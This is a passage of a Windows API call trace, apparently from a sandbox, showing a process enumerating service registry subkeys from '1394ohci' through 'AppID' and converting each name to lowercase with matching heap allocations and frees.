CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0253.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.238] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0253.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0253.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.239] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0253.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0253.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.239] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0253.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0253.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.239] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0253.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0253.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1cd0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0253.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.240] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0253.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0253.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.240] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0253.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0253.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.240] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0253.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0253.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.240] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.240] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0253.240] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0253.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.241] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0253.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1e38, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0253.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.241] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0253.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0253.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.241] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0253.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0253.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.242] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0253.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0253.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.242] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0253.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0253.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.242] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0253.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0253.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.242] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0253.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0253.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.243] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0253.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0253.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.243] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0253.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0253.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.243] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0253.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0253.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.243] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0253.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0253.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.244] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0253.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0253.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.244] RtlFreeHeap 